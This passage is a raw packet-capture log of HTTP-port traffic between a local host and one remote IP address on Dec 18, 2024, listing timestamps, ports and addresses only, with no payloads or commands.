                                                        Dec 18, 2024 09:31:22.449559927 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.449613094 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.454391956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.454518080 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.454674959 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.459031105 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.459146976 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.459203959 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.463778019 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.463927031 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.463988066 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.495650053 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.495732069 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.495826006 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.559581995 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.578830004 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.589360952 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.589411974 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.589438915 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.591166019 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.591257095 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.591269970 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.594898939 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.594927073 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.594954967 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.598484993 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.598536015 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.598566055 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.602129936 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.602268934 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.602277040 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.605763912 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.605846882 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.605861902 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.609391928 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.609435081 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.609472036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.613064051 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.613162994 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.613198042 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.616686106 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.616750002 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.616801023 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.620348930 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.620404005 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.620439053 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.624005079 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.624084949 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.624169111 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.627609015 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.627723932 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.627739906 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.629739046 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.629806995 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.629813910 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.631894112 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.631947994 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.631954908 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.634001970 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.634077072 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.634080887 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.636059999 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.636121988 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.636179924 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.638164997 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.638240099 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.638309956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.640326023 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.640470028 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.640477896 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.642430067 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.642474890 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.642559052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.644620895 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.644701958 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.644702911 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.688961983 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.764269114 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.764332056 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.764369011 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.764405012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.764475107 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.764475107 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.883774042 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.883816004 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.883852959 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.883896112 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.883908987 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.884012938 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.003350019 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003422022 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003555059 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003588915 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003604889 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.003638029 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.003671885 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003707886 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003782988 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003792048 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.003843069 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003880978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003914118 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003950119 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.003988028 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004029036 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.004029036 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.004029036 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.004060030 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004092932 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004127026 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004160881 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004170895 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.004195929 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004230022 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004264116 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004271984 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.004271984 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.004298925 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004333973 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.004357100 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.007042885 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.007113934 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.007122040 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008073092 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008110046 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008146048 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008162022 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008182049 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008198023 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008217096 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008256912 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008261919 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008291006 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008325100 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008359909 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008483887 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008483887 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008635998 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008670092 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008706093 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008713961 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008750916 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008785009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008797884 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008821011 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008855104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008888006 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008929014 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008929014 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.008939028 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.008972883 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009006977 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009042978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009078979 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.009087086 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.009567976 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009604931 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009639978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009692907 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.009732008 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009768009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009787083 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.009803057 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009836912 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009874105 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.009887934 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009924889 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009959936 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.009979010 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.009999990 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010050058 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.010500908 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010535955 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010588884 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010622978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010648966 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.010648966 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.010657072 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010694027 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010700941 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.010796070 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010832071 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010848999 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.010965109 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.010999918 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011044979 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.011053085 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011133909 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.011143923 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011221886 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011274099 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.011348963 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011385918 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011436939 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.011475086 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011584044 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011617899 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011676073 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.011728048 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011761904 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.011773109 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.011975050 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012022972 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012059927 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012099981 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012165070 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012200117 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012233973 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012252092 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012267113 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012320042 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012320042 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012357950 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012383938 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012392044 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012427092 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012475014 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012491941 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012550116 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012583017 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012617111 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012628078 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012629032 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012629032 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012651920 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012675047 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.012758017 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012790918 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.012797117 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.013147116 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013195992 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.013199091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013235092 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013284922 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013320923 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013345003 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.013355970 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013384104 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.013390064 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013426065 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013458967 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.013475895 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013513088 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013530970 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.013547897 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.013606071 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.014751911 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.014789104 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.014823914 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.014858961 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.014874935 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.014894009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.014929056 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.014976978 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.014976978 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.015005112 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015039921 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015084028 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.015095949 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015130997 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015165091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015175104 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.015852928 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015888929 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015908957 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.015923977 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015959024 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.015993118 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.016007900 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.016030073 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.016060114 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.016254902 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.124051094 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.124089956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.124308109 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.124962091 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.125153065 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.125207901 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.127115965 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.127170086 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.127222061 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.129565954 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.129724979 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.130053997 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.131429911 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.131486893 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.131570101 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.133500099 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.133573055 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.133658886 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.135587931 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.135642052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.135750055 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.137737036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.137837887 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.138025045 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.139942884 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.140045881 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.140218019 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.141350985 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.141405106 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.141479969 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.142776012 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.142875910 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.143057108 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.144310951 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.144431114 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.144488096 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.145787954 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.145910978 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.145963907 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.147309065 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.147512913 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.147564888 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.148755074 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.148871899 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.148927927 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.150271893 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.150362968 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.150470018 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.151839972 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.151952028 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.152050972 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.153194904 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.153302908 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.153469086 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.154695988 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.154786110 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.154872894 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.156191111 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.156327009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.156833887 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.157690048 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.157798052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.157887936 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.159266949 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.159461021 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.159553051 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:23.160685062 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:23.160814047 CET8049705139.99.188.124192.168.2.8
